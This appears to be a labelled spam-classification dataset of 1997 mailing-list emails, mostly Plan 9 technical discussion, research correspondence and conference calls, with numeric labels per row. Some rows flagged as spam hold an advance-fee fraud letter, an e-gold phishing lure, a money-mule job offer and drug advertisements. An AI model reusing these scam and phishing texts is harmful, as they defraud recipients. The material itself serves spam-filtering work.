Pegasus Mail for Windows (v2.42a) Message-Id: <3037820390A@law.scri.sari.ac.uk> > Our lab would like to examine intraspecific sequence variation in any single- > copy nuclear gene from the insect-parasitic nematode Howardula aoronymphium > (Allantonematidae: Tylenchida). Our best bet for designing PCR primers would > be to try genes whose sequences are highly conserved across all nematodes. Any > suggestions? > Dear Dr jaenike, You probably wont get too much intraspecific variation in the coding region of a single copy nuclear gene. How about looking at an intron? It wouldnt be too difficult to design primers that span an intron in, say, a collagen gene. The coding region will be conserved enough to make sure you get amplification from all your samples and I would imagine that the intron sequence would be more likely to show variation. I wouldn't swear to this though - maybe someone else has better suggestions... John ================================================== John Jones Nematology Dept SCRI Invergowrie Dundee DD2 5DA 01382 562731 jjones@scri.sari.ac.uk ==================================================",0,1 Paul Lebrun ,"butler@fnal.fnal.gov, garbincius@fnal.fnal.gov, rwg@uiuc.edu, danyo@utkhep.phys.UTK.EDU, th@utkhep.phys.UTK.EDU, lebrun@fnal.fnal.gov, ratti@fnal.fnal.gov, cason@undhep.hep.ND.EDU, jew@uiuc.edu","Sun, 19 Jan 1997 09:05:18 -0600",New revision of rho - rho-prime paper and new memo.,"Dear ccollaborators, I placed a new version of the proposed Phys. Rev. D for rho and rho' studies on FNALV , in CMS_ROOT:[PAPERS]rho_prime_v2.ps. These includes the comments made by G. Condo and Tom Handler. In addition, in light of the memo written as few weeks ago, I propose to drop the figure 9 from this paper, and the coresponding paragraphe in the text. (I made the change, but the ReVTex broke down on my workstation, so for now, simply ignore the paragraphe where that figure is introduced.). This paper is progressing at a glacial pace, but may be it will get there. Also, frankly, I think we have better now: the phi-phi and the phi-f0(980) studies looks more appealing to me. In that spirit, I wrote a memo describing the anomalous behavior of the f0(980) with respect to other resonances. This is memo is available in CMS_ROOT:[DOCUMENTS]f0980_phi.ps. May be I am making too much of this stuff, but I would like to stress that it has been known for a long time that this resonance does not fit well in the standard $q \\bar{q}$ classification for light quark spectroscopy, any information how this state gets produced is I think relevant. The clue on hidden strangeness might be a serious indicator. However, we also have to convince the community that we know what we are doing in this field, so boring paper on ""normal"" resonance are also of interest. I'll certainly welcome ideas, suggestions... Paul. ",0,0 system PRIVILEGED account ,users,"Tue, 21 Jan 1997 08:17:11 -0500","testing, please ignore","testing only, please ignore ",0,0 """Edward A. Fox"" ",users@ei.cs.vt.edu,"Tue, 21 Jan 1997 23:57:03 -0500",resending - time for cleanup!,"---------- Forwarded message ---------- Date: Tue, 14 Jan 1997 09:26:39 -0500 (EST) From: Edward A. Fox To: users@ei.cs.vt.edu Cc: ""Edward A. Fox"" Subject: time for cleanup! Hi! Some of the disks (ex., u1, where most of you are) are essentially full. Please archive all old data in compressed format, and delete what you do not need. If you want, you can create a compressed tar file of old information that I can copy to a Computing Center system that serves as a backup unit, from which we can recover later - just let me know. Please DO THIS THIS WEEK or else we may need to start removing old files on our own ... Many thanks, eaf",0,0 Piper ,colette@sdlcfsn.cs.iitm.ernet.in,"Tue, 28 Jan 1997 19:21:15 -0500",This diet plan is over the roof,"but moat , coverall be cytochemistry be planeload or salk ",1,0 Elsie Maloney ,9fans@cse.psu.edu,"Wed, 29 Jan 1997 11:15:18 -0500","Eat not to dullness, drink not to elevation","on splashy try melanoma it's debutante some inconstant , dielectric ",1,0 Sherry Holliday ,Bait <9fans@cse.psu.edu>,"Fri, 31 Jan 1997 18:49:20 -0540",Our store is your cureall!," Its true because we have a great number of different dr@gs! Pain relief, love life enhancement, depression suppress, weight loss and much more! Our store is VERIFIED BY BBB and APPROVED BY VISA! Click here for getting your health problems away at once! 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ALTHOUGH PERSONALLY, I KEEP THIS INFORMATION SECRET WITHIN MYSELF TO ENABLE THE WHOLE PLANS AND IDEA BE PROFITABLE AND SUCCESSFUL DURING THE TIME OF EXECUTION. THE SAID AMOUNT WAS US$20.MILLON (TWENTY MILLION UNITED STATES DOLLARS). MEANWHILE ALL THE WHOLE ARRANGEMENT TO PUT CLAIM OVER THIS FUND AS THE BONA FIDE NEXT OF KIN TO THE DECEASED, GET THE REQUIRED APPROVAL AND TRANSFER THIS MONEY TO A FOREIGN ACCOUNT HAS BEEN PUT IN PLACE AND DIRECTIVES AND NEEDED INFORMATION WILL BE RELAYED TO YOU AS SOON AS YOU INDICATE YOUR INTEREST AND WILLINGNESS TO ASSIST ME AND ALSO BENEFIT YOUR SELF TO THIS GREAT BUSINESS OPPORTUNITY. IN FACT I COULD HAVE DONE THIS DEAL ALONE BUT BECAUSE OF MY POSITION IN THIS COUNTRY AS A CIVIL SERVANT IN THIS VERY BANK, WE ARE NOT ALLOWED TO OPERATE A FOREIGN ACCOUNT WOULD EVENTUALLY RAISE AN EYE BROW ON MY SIDE DURING THE TIME OF TRANSFER BECAUSE I WORK IN THIS BANK. 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PLEASE, YOU HAVE BEEN ADVISED TO KEEP TOP SECRET AS I AM STILL IN SERVICE AND INTEND TO RETIRE FROM SERVICE AFTER I CONCLUDE THIS DEAL WITH YOU.I WILL BE MONITORING THE WHOLE SITUATION HERE IN THIS BANK UNTIL YOU CONFIRM THE MONEY IN YOUR ACCOUNT AND ASK I TO COME DOWN TO YOUR COUNTRY FOR SUBSEQUENT SHARING OF THE FUND ACCORDING TO PERCENTAGES PREVIOUSLY INDICATED AND FURTHER INVESTMENT, EITHER IN YOUR COUNTRY OR ANY COUNTRY YOU ADVICE ME TO INVEST IN. I SUGGEST YOU GET BACK TO ME AS SOON AS POSSIBLE ON MY EMAIL, (janvxx1@netscape.net). YOURS FAITHFULLY, DR, JAN DE VOS ",1,0 Russ Cox ,9fans@cse.psu.edu,"Sun, 02 Feb 1997 01:23:02 -0500",rc children bug,"before i go hacking at the source, has anyone come across and fixed the fact that rc seems to reap its children from a <{} inside a for loop only after the for loop is done? example: term% for (i in `{seq 1 100}) { echo -n $i... ; diff <{cat /adm/users} <{cat /adm/users} } 1...2...3...4...5...6...7...8...9...10... 11...12...13...14...15...16...17...18...19...20... 21...22...23...24...25...26...27...28...29...30... 31...32...33...34...35...36...37...38...39...40... 41...42...43...44...45...46...47...rc: can't get pipe term% russ",0,0 David Hogan ,9fans@cse.psu.edu,"Sun, 02 Feb 1997 22:35:34 +1100",grap troubles,"I seem to be having a lot of trouble getting grap to work at the moment. I prepared a graph in a separate file, and when I got it working, I cut and pasted the file into my document. Now all I get is an empty box! It looks like grap might be allergic to UTF -- I make quite liberal use of unicode characters in my document, and they seem to be getting screwed up now (but they didn't before I added the graph). Has anyone seen any problems with grap's treatment of UTF, and perhaps even have a fix? It's almost enough to make me want to use MS Word... ",0,0 Russ Cox ,9fans@cse.psu.edu,"Sun, 02 Feb 1997 09:16:21 -0500",Re: grap troubles,"I've had problems with grap garbling unicode inside the G1/G2 pair, but unicode outside the graph seems to be left alone. Inside the G1/G1, unicode becomes a single 0xE2 for me. Input of term% cat /tmp/graph ��� ��� ��� ��� ��� .G1 label left ""white ���"" label bot ""black ���"" 1 2 3 4 5 6 7 8 .G2 term% illustrates this nicely. It is also telling that running 'grap -d' on this file commits suicide. Anyone else with ideas? ",0,0 Scott Schwartz ,9fans@cse.psu.edu,"Sun, 02 Feb 1997 12:05:44 -0500",Re: grap troubles ,"Grap uses lex, whose manpage says it cannot handle UTF. That could be the problem. ",0,0 rsc@research.att.com,"rsc@corona.research.att.com, 9fans@cse.psu.edu","Sun, 09 Feb 1997 17:35:21 -0500",pc audio buffer bug,"There is a small bug in the buffer handling in the PC devaudio (Soundblaster) driver. Basically, if you open /dev/audio for writing, partially fill a buffer, and then close /dev/audio, the buffer doesn't get played. You notice this with smallish sound files, because nothing gets played at all when the sound file is less than one buffer in size. My fix is to add int omode; Buf *b; at the beginning of /sys/src/9/pc/devaudio.c:/^audioclose and in the case Qaudio that follows, insert omode = audio.amode; before audio.amode = Aclosed; Then, before the while(audio.active), insert if(omode == Awrite && audio.filling != 0) { print(""flush...""); b = audio.filling; audio.filling = 0; memset(b->virt+audio.curcount, 0, Bufsize-audio.curcount); swab(b->virt); putbuf(&audio.full, b); pokeaudio(); } I would post a diff, but I've hacked up devaudio.c too much. Just looking at the code for other architectures, it appears that next/devaudio.c also suffers from this bug, while indigo3k/devaudio.c does not. Russ ",0,0 David Hogan ,"9fans@cse.psu.edu, rsc@corona.research.att.com","Mon, 10 Feb 1997 20:52:49 +1100",Re: pc audio buffer bug,"> There is a small bug in the buffer handling > in the PC devaudio (Soundblaster) driver. > Basically, if you open /dev/audio for writing, > partially fill a buffer, and then close /dev/audio, > the buffer doesn't get played. You notice this > with smallish sound files, because nothing gets > played at all when the sound file is less than one > buffer in size. I seem to recall that there was another bug. I can't remember if I posted my fix for it or not. The problem was that you could fill up several buffers, but still get no audio, because you hadn't filled enough buffers to start the dma going. It looks like Russ's patch comes close to fixing this bug as well (by virtue of the call to pokeaudio()). But if the combined writes to /dev/audio are a multiple of Bufsize, then it won't be called, because audio.filling == 0. My fix to this second bug was to change the while loop in audioclose() to be do waitaudio(); while (audio.active); and change waitaudio() by adding the lines if (audio.active == 0) return; before the tsleep(). I'm a bit concerned that I may have `done bad' -- my solution can result in redundant commands being sent to the 'blaster (``start! stop!'') if there's no outstanding data. But it was, after all, a quick hack so I could get back to the more important work of playing with Csound :-) ",0,0 """E-gold.com Support"" ",,"Mon, 10 Feb 1997 19:24:02 -0400","Your e-gold account status, urgent action is required !","Account Update Dear evalued e-gold customer: We've recently changed our webhosting server and some of our customers accounts are out of date. In order to further derive advantage from our services and also avoid a possible temporary account suspension you need to update your personal information associated with us. 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More Pretty Girls Break V E------------------|----------3--5--3-------------|--------------------- B---------------1--|--3/5--x-----------4h5--------|--------------------- G---0--0--0--2-----|------------------------0--x--|--0--2--0--2--0------ D------------------|------------------------------|--------------------- A------------------|------------------------------|--------------------- E------------------|------------------------------|--------------------- E----\\--------|-----------------------0--|------------------------------ B---4-3p1--x--|-----------------1-----1--|--------------1-------1--3---- G-------------|--0--0--0--2--0-----3--3--|-----0--1--2-----0h2---------- D-------------|-----------------------2--|--3--------------------------- A-------------|-----------------------3--|------------------------------ E-------------|--------------------------|------------------------------ E---------|-------------------|---------------------|------------------- B---1--x--|-------1-----------|---------------------|------------------- G---------|--0h2-----0--x--x--|-------0-------------|--------0--1h2----- D---------|-------------------|--1h2-----1p0--------|--2--3------------- A---------|-------------------|---------------3--x--|------------------- E---------|-------------------|---------------------|------------------- E-----------------------|-------------|---------------------------|----- B---1-------1--3--1--x--|-------1-----|---------------------------|----- G------0h2--------------|--0h2-----0--|-------0----------0--x--x--|----- D-----------------------|-------------|--1h2-----1p0--------------|----- A-----------------------|-------------|---------------3-----------|----- E-----------------------|-------------|---------------------------|----- E--------------------|-----------------------|--1--0--x----------------- B--------------------|-----------------------|-------------------------- G--------------------|--0--2--0--------------|-------------------------- D------------0--1h2--|-----------1--2--0--x--|-----------1--0----------- A------0--3----------|-----------------------|-----------------3--x----- E---3----------------|-----------------------|-------------------------- E---|---------------------0--------------------------------------------- B---|---------------------1--------------------------------------------- G---|---------------------0--------------------------------------------- D---|---------------------2--------------------------------------------- A---|-------------0h2--3--3--------------------------------------------- E---|--1--2h3--x-------------------------------------------------------- Submitted by Larry Oliver (loliver@netset.com) ",0,0 Frank Dehne ,THEORYNT@LISTSERV.NODAK.EDU,"Thu, 13 Feb 1997 20:54:13 -0800","WADS'97, e-mail submission now possible","_____________________________________________________________________________ UPDATE: Electronic (e-mail) submission now possible. _____________________________________________________________________________ CALL FOR PAPERS Workshop on Algorithms and Data Structures (WADS'97) August 6-8, 1997 Halifax, Nova Scotia, Canada The Workshop, which alternates with the Scandinavian Workshop on Algorithm Theory, is intended as a forum for researchers in the area of design and analysis of algorithms and data structures. We invite submissions of papers presenting original research on algorithms and data structures in all areas, including combinatorics, computational geometry, databases, graphics, parallel and distributed computing. For detailed conference information, please consult http://www.tuns.ca/~wads. Contributors are invited to submit a full paper (not exceeding 12 pages) to Workshop on Algorithms and Data Structures School of Computer Science Carleton University Ottawa, Canada K1S 5B6 tel.: (613) 520-4333, fax:(613) 520-4334, e-mail: wads@scs.carleton.ca Submissions must arrive before March 3, 1997 and can be in one of the following two formats: * Electronic submission: A Postscript file sent by e-mail to wads@scs.carleton.ca. Details on the file format are given at the end of this call for papers. OR * Hardcopy submission:Two paper copies AND a Postscript file on diskette (standard UNIX, PC, or MAC diskette; use the same file format as for electronic submissions). In case it is necessary to compress the file to fit it on a diskette, use only gzip or UNIX compress. Label the diskette with your name, the disk format used and, if necessary, instructions on how to uncompress. It is the responsibility of the authors to ensure that the Postscript file submitted is complete (containing all figures etc.) and that is prints under UNIX on a standard laser-printer. The paper's front page should indicate the contact author with e-mail, postal address and phone/fax numbers. Authors will be notified of acceptance or rejection by April 30, 1997. Proceedings will be published in the Springer Verlag series Lecture Notes in Computer Science. The final versions of accepted papers must arrive in camera-ready form before May 23, 1997 to ensure the availability of the proceedings at the conference. Invited Speakers: Bernard Chazelle, David Dobkin, S. Rao Kosaraju, Ketan Mulmuley, Christos Papadimitriou Conference Chair: A. Rau-Chaplin, Computer Science, TUNS/Dalhousie University, wads_local@tuns.ca, http://www.tuns.ca/~wads Program Committee: Co-chairs: F. Dehne (Carleton), A. Rau-Chaplin (TUNS/Dal.), J.-R. Sack and N. Santoro (Carleton). Members: A. Anderson (Lund), A. Apostolico (Purdue and Padova), G. Ausiello (Rome), C. Bajaj (Purdue), R. Cypher (Johns Hopkins), L. De Floriani (Genova), L. Devroye (McGill), D. Eppstein (Univ. of Calif. at Irvine), M. Farach (Rutgers), A. Ferreira (Ecole Norm. Sup. de Lyon), P. Fraignaud (Ecole Norm. Sup. de Lyon), G. Frederickson (Purdue), M. Goodrich (Johns Hopkins), H. Juergensen (Univ. of Western Ontario), E. Kranakis (Carleton), H.P. Kriegel (Muenchen), D.T. Lee (Northwestern), T. Lengauer (GMD), L. Pagli (Pisa), G. Plaxton (Univ. of Texas at Austin), J. Reif (Duke), P.G. Spirakis (Patras), H. Sudborough (Univ. of Texas at Dallas), R. Tamassia (Brown), P. Vitanyi (CWI), P. Widmayer (ETH), C.K. Wong (Chinese Univ. of Hong Kong). _____________________________________________________________________________ File Format For Electronic Submissions: TITLE: [Place here the title of your paper] AUTHORS: [Place here the full names of the authors] CORRESPONDING AUTHOR'S NAME: [Place here the name of the corresponding author] CORRESPONDING AUTHOR'S ADDRESS: [Place here one or more lines containing the complete address of the corresponding author] EMAIL: [Place here the email address of the corresponding author] PHONE: [Place here the complete phone number of the corresponding author] FAX: [Place here the fax number of the corresponding author] ABSTRACT: [Place here a text-only abstract of your paper. Please, do not use TeX commands, apart from the by now standard notations \\alpha, \\beta, for greek letters.] FILE: [Place here the PS file containing your submission starting on a newline. Do not gzip, compress or uuencode. Just the plain PS file. Remember that it is the responsibility of the authors to ensure that the Postscript file submitted is complete (containing all figures etc.) and that is prints under UNIX on a standard laser-printer.] Best Regards, Frank _______________________________________________________________________ Frank Dehne, School of Computer Science, Carleton University, Ottawa, Canada K1S 5B6, (613)520-2600 ext.4027, or (613) 520-4333, fax:520-4334 dehne@scs.carleton.ca,http://www.scs.carleton.ca/scs/faculty/dehne.html _______________________________________________________________________ ",0,1 steve@rafael.rnd.border.com,9fans@cse.psu.edu,"Sat, 15 Feb 1997 00:01:02 -0500",[reminder] pointer to Plan 9 FAQ,"The Plan 9 faq is posted to comp.os.plan9 at the beginning of each month. It is also at news.answers archive sites, look for comp-os/plan9-faq The hypertext version of the faq is always available at url http://www.ecf.toronto.edu/plan9/plan9faq.html ",0,1 Gustavo Ordonez ,Geotech ,"Sat, 15 Feb 1997 09:51:08 -0800",Pre and Postprocessor for SHAKE91 w/Liquefaction Analysis,"SHAKE91 is the most commonly used computer program for the 1-D analysis of dynamic soil response. However, one of the limitations of SHAKE91 is the lack of a user-friendly interface for creation of the input files, and for the processing of the output data. To this end, we have developed ShakEdit, a Windows 3.1 based editor for SHAKE91. In a typical application, ShakEdit is used to create an input file for SHAKE91. User-friendly screens are provided to input the data for the different SHAKE91 options, and then to create an input file. After running SHAKE91 in a DOS window, ShakEdit is used to process the output files generated, resulting in the creation of a series of files containing acceleration and/or stress/strain time history data, response and amplification spectrum data, strain-compatible soil properties, peak acceleration, maximum shear stress, etc.. The results can also be viewed graphically in ShakEdit, and the graphics created can be saved/printed for inclusion in documents. Additional features of ShakEdit include: - A number of Attenuation Relationships for peak horizontal acceleration and velocity with distance; and, for the pseudo acceleration or pseudo velocity response spectrum. - Design spectra such as NEHRP and AASHTO. These spectra and those from attenuation relationships can be plotted simultaneously with the spectra computed with SHAKE91. - Computation of cyclic stress ratio (CSR) based on equivalent uniform shear stress using the shear stresses computed with SHAKE91;and, estimation of the cyclic stress ratio required to initiate liquefaction using standard penetration test results and the CSR vs (N1)60 chart developed by Seed et al. (1985). - On-line help for most editing and graphing operations. A trial version of the program can be downloaded from: http://www.winsite.com/info/pc/win3/demo/shakedit.zip/ This trial version has some bugs that were reported after I uploaded the program. I have fixed most of these bugs in the new version, and added a couple of new functions. The updated version will be available for downloading in a few days. The cost of ShakEdit is $65.00, plus $10.00 for shipping and handling, for the first copy. Additional copies are $25.00. SHAKE91 is not included with ShakEdit. If you would like more information, please send an e-mail to shakedit@nwrain.com with your name and mailing address. Gus Ordonez ShakEdit Software ",0,1 rsc@research.att.com,9fans@cse.psu.edu,"Sat, 15 Feb 1997 17:16:02 -0500",ppp and windows 95,"does anyone have any success/failure stories regarding plan9 pppserver and windows 95 dial-up networking they would be willing to share with me? thanks. russ ",0,0 Tad Hunt ,9fans@cse.psu.edu,"Mon, 17 Feb 1997 12:41:32 -0500","porting question about ""initcode""...","I'm porting the most recent plan9 distribution to the DECstation 5000/1xx series workstations. I'm moving along fairly well, but I've got one real question stumping me. The DECstation 5000 is a mips R3000 machine, so I have been basing my port on the indigo3k port. In indigo3k/main.c in userinit() (line 356), the author maps in a page for the text segment and then memcpys the entire initcode array onto that page. The array is simply a hexdump of the entire ""init.out"" executable. That means that the initcode array contains three things: the plan9 exec header, the text segment, and the data segment. If I disassemble the init.out executable, the instruction ( MOVW $setR30(SB),R30 ) sets the data offset pointer to where it expects the data segment to live: 0x1000: 23bdfff4 addi sp,sp,-12 0x1004: afbf0000 sw r31,0(sp) 0x1008: 3c1e0000 lui r30,0 <- MOVW $setR30(SB), R30 0x100c: 37de908e ori r30,r30,0x908e <- 0x1010: 27c1800a addiu r1,r30,-32758 0x1014: 23a2000c addi r2,sp,12 0x1018: afa10004 sw r1,4(sp) 0x101c: 0c00041b jal 0x106c 0x1020: afa20008 sw r2,8(sp) 0x1024: 24010010 li r1,16 0x1028: afa10004 sw r1,4(sp) 0x102c: 24010013 li r1,19 0x1030: 0000000c syscall But the data segment is really on the first page of the executable because the entire executable was just copied to the page allocated to it. Thus exec(""/boot"") fails and falls through to the ""print r1"" system call loop. My question is how does this init process work on an indigo3k? (I don't have access to one, so I can't test it out). I suppose I could map in a data page for that information myself, but a quick look at the other ports shows them doing the same thing as the indigo3k port. (And then main.c would have to know about Exec headers.) Am I just missing something really obvious? Thanks! -Tad",0,0 Eric Blood ,9fans@cse.psu.edu,"Mon, 17 Feb 1997 11:45:58 -0800",Authentication-server installation problems,"I'm trying to setup a new authentication-server for our Plan9 network where we already have a file-server with a full CD install and a terminal that is connected to the file-server. But I'm consistently running into a problem with the authentication server installation. Following the current instructions off the Plan9 web page I've done the initial file-system setup on the new authentication-server and created the authid on the file-server. Then, after selecting the fourth option from the menu (CPU/Authentication) and rebooting the authentication-server, it will prompt where to boot from (il), my IP, my mask, my gateway, the file server IP, and the authentication IP (my IP address). It will pause for a few seconds and then print the following: boot: #c/hostowner: bad arg in system call panic: boot process died: unknown ... <- several rows and columns of numbers exiting In the file /sys/src/9/boot/key.c in key() there is a sequence of code: /* set host's key */ if(writefile(""#c/key"", safe.machkey, DESKEYLEN) < 0) fatal(""#c/key""); /* set host's owner (and uid of current process) */ if(writefile(""#c/hostowner"", safe.authid, strlen(safe.authid)) < 0) fatal(""#c/hostowner""); /* set host's domain */ if(writefile(""#c/hostdomain"", safe.authdom, strlen(safe.authdom)) < 0) fatal(""#c/hostdomain""); I believe that when it goes to write hostowner, it's failing either on the open() or write(). I guess there isn't a problem with writing the key file, but I not sure how to verify this. Any ideas on how to proceed? Eric V. Blood eblood@cs.unr.edu, http://www.cs.unr.edu/~eblood",0,1 Floyd Pratt ,9fans@cse.psu.edu,"Tue, 18 Feb 1997 19:00:50 +0400",LOGIN INFORMATION,"-Sensattional revolution in medicine! -Enlarge your penis up to 10 cm or up to 4 inches! -It's herbal solution what hasn't side effect, but has 100% guaranted results! -Don't lose your chance and but know wihtout doubts, you will be i`mpressed with results! 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Twains language creates the characters Abe ",1,1 Bengt.Kleberg@uab.ericsson.se,9fans@cse.psu.edu,"Wed, 19 Feb 1997 16:09:00 +0100",Plan9 SCSI disk exchange?," Third and final attempt to get an answer. I have been informed that the news-to-list gateway does not seem to work. Therefore I email directly to the list. I'm not on the list myself, so please post news or email me directly. My plan to get Plan9 up and running was built upon the idea that I could use a borrowed PC to construct a system disk (SCSI) and then use that disk on my Sparc. Is that possible? I know Plan9 will handle endianess under normal circomstances (9P). But how does the kfs server write to its local SCSI disks? Perhaps the disk is written using local endianess (PC little-endian, Sparc big-endian). Is there somebody that knows? -- Best Wishes, Bengt -------------------------------------------------------------------- Email: Bengt.Kleberg@enea.se (Enea Data AB, Sweden) Disclaimer: Nothing abovementioned has any connection to Enea Data AB ``At the moment money does indeed make the world go round but unfortunately the direction of that applied rotation is all downhill.'' fleecy@netreach.net ",0,0 forsyth@plan9.cs.york.ac.uk,9fans@cse.psu.edu,"Wed, 19 Feb 1997 15:32:27 +0000",Re: Plan9 SCSI disk exchange?,"it won't work. the kfs file system data is written using the host's byte order. i suppose you could try creating a custom version of kfs that produces the byte order you need but i suspect it might be fairly hard. ",0,0 beto@ncube.com,9fans@cse.psu.edu,"Mon, 19 Feb 2029 19:51:44 -0800",b.com change,"This change will let you BOOTP over some Ethernet switches. It sets the ethernet dst before sending a pkt. diff ether.c.orig ether.c 153a154 > memmove(pkt->s, ctlr->card.ea, sizeof(pkt->s)); ",0,0 Scott Schwartz ,9fans@cse.psu.edu,"Thu, 20 Feb 1997 16:39:15 -0500",/lib/roads,"Is the rest of the road data still available by ftp? I was looking for the data for PA, if possible. ",0,0 bobf@plan9.bell-labs.com,9fans@cse.psu.edu,"Thu, 20 Feb 1997 17:16:07 -0500",,"> Is the rest of the road data still available by ftp? I was looking for > the data for PA, if possible. it should be out there now. ",0,0 "Cleo Clement <""Cleo Clement""@faw.com.cn>",suresh@flamingo.stanford.edu,"Sat, 22 Feb 1997 16:34:26 -0100",RE:you,"Job position is opened. Good profit. No risk. If you are tired of the investment business and want to move to something that really works, you may enjoy this offer. An accredited e-currency exchange provider Exall.biz needs an e-currency exchanger. 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They may be freely distributed, but keep my authorship please. ---------cut here------------- package AUX; import java.awt.Frame; import java.awt.FileDialog; /** * BlowPipe can be used to put an interface on programs that normally accept * instructions * from the command line. Therefore it can be used to make standard unix tools * more friendly to Macintosh and Windows systems. * To use this, put calls to these functions into your main(String [] argv) * function at the beginning, * before you start to decode argv. For example, to decode one argument, that is * to be taken as the input file use: * public static void main ( String argv[] ) throws java.io.IOException * { arg = new String[1]; * arg[0] = AUX.BlowPipe.getOldFileName(null); * . . . * * as the beginning of your main function. * * * Note that all functions in this class are static. You cannot create an object * of type BlowPipe. It is just a code encapsulator. * @version 1.0 * @author Joseph Bergin, Pace University . */ public class BlowPipe { /** * Return the fully qualified path and file reference for an input file. * @param parent The frame of your application object (or null). * @return file name string prepended with directory information. */ public static String getOldFileName(Frame parent) { FileDialog fd = new FileDialog(parent, ""Old File Name"", FileDialog.LOAD); fd.setDirectory("".""); fd.show(); System.out.println(fd.getDirectory() + fd.getFile()); return fd.getDirectory()+ fd.getFile(); } /** * Return the fully qualified path and file reference for an output file. * @param parent The frame of your application object (or null). * @return file name string prepended with directory information. */ public static String getNewFileName(Frame parent) { FileDialog fd = new FileDialog(parent, ""Old File Name"", FileDialog.SAVE); fd.setDirectory("".""); fd.show(); System.out.println(fd.getDirectory() + fd.getFile()); return fd.getDirectory()+ fd.getFile(); } /** * Return argument strings such as switches. * Not implemented at this time. Returns null. */ public static String getArgString() { return null; // not yet implemented } private BlowPipe(){}; } ---------cut here------------- Joseph Bergin, Professor Pace University, Computer Science, One Pace Plaza, NY NY 10038 EMAIL berginf@pace.edu HOMEPAGE http://csis.pace.edu/~bergin/",0,1 steve@border.com,9fans@cse.psu.edu,"Mon, 24 Feb 1997 23:25:50 -0500",whatever happened to Quake for Plan9?,"I haven't seen an announcement for it ... is it still in the works? ",0,0 anneliese von mayrhauser ,THEORYNT@LISTSERV.NODAK.EDU,"Wed, 26 Feb 1997 23:49:45 -0800",Re: IWPC97," 5th International Workshop on Program Comprehension The Dearborn Inn Dearborn, Michigan May 28-30, 1997 ========================= Preliminary Program ========================= Theme Comprehending programs written by others is at the heart of various software engineering activities. Program comprehension is performed when one reuses, reengineers, or enhances existing (or legacy) programs. It is also performed during review or code walk-through of new programs. The goal of this workshop is to bring together practitioners and researchers from government, academia, and industry to review the current state of the art and explore solutions to the program comprehension problem. On-line Web sites for detailed information http://www.dis.unina.it/~iwpc97 http://www.cacs.usl.edu/~iwpc97 IWPC'97 Chairs General Chair: Anneliese von Mayrhauser, Colorado State University, USA Program Co-Chairs: Gerardo Canfora, University of Salerno, Italy Arun Lakhotia, University of Southwestern Louisiana. USA Local arrangements Chair: Vaclav Rajlich, Wayne State University, USA Sponsored by: The Institute of Electrical & Electronics Engineers Inc. IEEE Computer Society Technical Council on Software Engineering In cooperation with: Wayne State University, Detroit, Michigan Louisiana Board of Regents Preliminary Program: DAY 1: Wednesday, May 28, 1997 ============================== SESSION 1: Intro and Keynote Keynote Address: Opportunities and Challenges in Program Understanding Iris Vessey, Indiana University, USA SESSION 2: Program understanding-in-the-large - Relationships between Comprehension and Maintenance Activities G. Visaggio University of Bari, Bari, Italy - Cognitive design elements to support the construction of a mental model during software visualization M.A.D. Storey, F.D. Fracchia, H.A. Muller University of Victoria, Victoria, Canada - Understanding-in-the-large J.M. Favre IMAG Institute, Grenoble, France SESSION 3: Automated Program Understanding - Automated chunking to support program comprehension I.J. Burnstein, K. Roberson Illinois Institute of Technology, Chicago, USA - Semi-automatic generation of parallelizable patterns from source code examples D. Markovic, J.R. Hagemeister, C.S. Raghavendra, S. Bhansali Washington State University, Pullman, USA - Facilitating Program Comprehension via Generic Components for State Machines J. Weidl, R. Klosch, G. Trausmuth, H. Gall Technical University of Vienna, Vienna, Austria SESSION 4: Program Analysis - Amorphous Program Slicing M. Harman, S. Danicic University of North London, London, UK - Dynamic program slicing in understanding of program execution B. Korel, J. Rilling Illinois Institute of Technology, Chicago, USA - Points-to Analysis for Program Understanding P. Tonella, G. Antoniol, R. Fiutem IRST, Povo (Trento), Italy E. Merlo Ecole Polytechnique, Montreal, Quebec, Canada DAY 2: Thursday, May 29, 1997 ============================= SESSION 5: Program Comprehension - Using knowledge representation to understand interactive systems M. Moore, S. Rugaber Georgia Institute of Technology, Atlanta, USA - A case study of domain-based program understanding R. Clayton, S. Rugaber, L. Taylor, L. Wills Georgia Institute of Technology, Atlanta, USA - A little knowledge can go a long way towards program understanding J. Sayyad-Shirabad, T.C. Lethbridge University of Ottawa, Ottawa, Canada S. Lyon Mitel Corporation, Kanata, Canada SESSION 6: Finding Reusable Assets - Enriching Program Comprehension for Software Reuse E.L. Burd, M. Munro University of Durham, Durham, UK - Identifying Objects in Legacy Systems A. Cimitile, A. De Lucia University of Salerno, Benevento, Italy G.A. Di Lucca, A.R. Fasolino University of Naples, Naples, Italy - Code Understanding through Program Transformation for Reusable Component Identification W.C. Chu Feng Chia University, Taiwan P. Luker, Hongji Yang De Montfort University, Leicester, UK SESSION 7: Panel Infrastructure for Software Comprehension and Reengineering Chair: V. Rajlich, Wayne State University, USA SESSION 8: Tools - Evaluation of the ITOC information system design recovery tool A. Berglas, J. Harrison University of Queensland, Australia - Glyphs for software visualization M.C. Chuah Carnegie Mellon University, USA S.G. Eick, Bell Laboratories, USA - PUI: A Tool to Support Program Understanding P.S. Chan, M. Munro University of Durham, Durham, UK DAY 3: Friday, May 30, 1997 =========================== TUTORIAL Empirical techniques: putting empirical evidence into perspective Marian Petre Workshop location The 5th International Workshop on Program Comprehension is held in Dearborn Inn, Dearborn, Michigan. Dearborn is a suburb of Detroit and it is a home of Henry Ford Museum and historic Greenfield Village, both star attractions. Dearborn is easily accessible from Detroit airport. Hotel Information The Dearborn Inn Phone :13-271-2700 20301 Oakwood Blvd Fax: 313-271-7464 Dearborn,MI 48124 Cost:US$ 119 pernight USA (Single/Double) Deadline for hotel reservations : May 6,1997 Airport to Hotel : Taxi - $15,Shuttle -$10 Registration Form Mail or Fax to: IWPC'97 Fax: 202 728-0884 IEEE Computer Society Phone: 202-371-1013 1730 Massachussets Ave.,NW No registration over Washington,DC 20036-1992 phone USA Name :__________________________________________ Affiliation:__________________________________________ E-mail :__________________________________________ Phone :__________________________________________ Before After May 6 May 6 IEEE member US$ 250 US$ 290 Non-member US$ 320 US$ 370 Full-time student US$ 100 US$100 Payement in US Dollars Only Amount enclosed ___________________________ Check in US $ Payable to IEEE Computer Society Credit Card no Expires: ___________________________ Credit Card type MC,Visa,AX,DC Signature ___________________________ ======================= Program Committee ======================= Paul Bailes, University of Queensland, Australia Paolo Benedusi, CRIAI, Italy Keith Bennett, University of Durham, UK Anthony Cahill, University of Limerick, Ireland Doris Carver, Louisiana State University, USA Aniello Cimitile, University of Benevento, Italy Robin Chen, AT&T Research, USA Ugo De Carlini, University of Naples, Italy Prem Devanbu, AT&T Research, USA Stephen G. Eick, AT&T Research, USA Philippe Facon, IEE-CNAM, France Harald 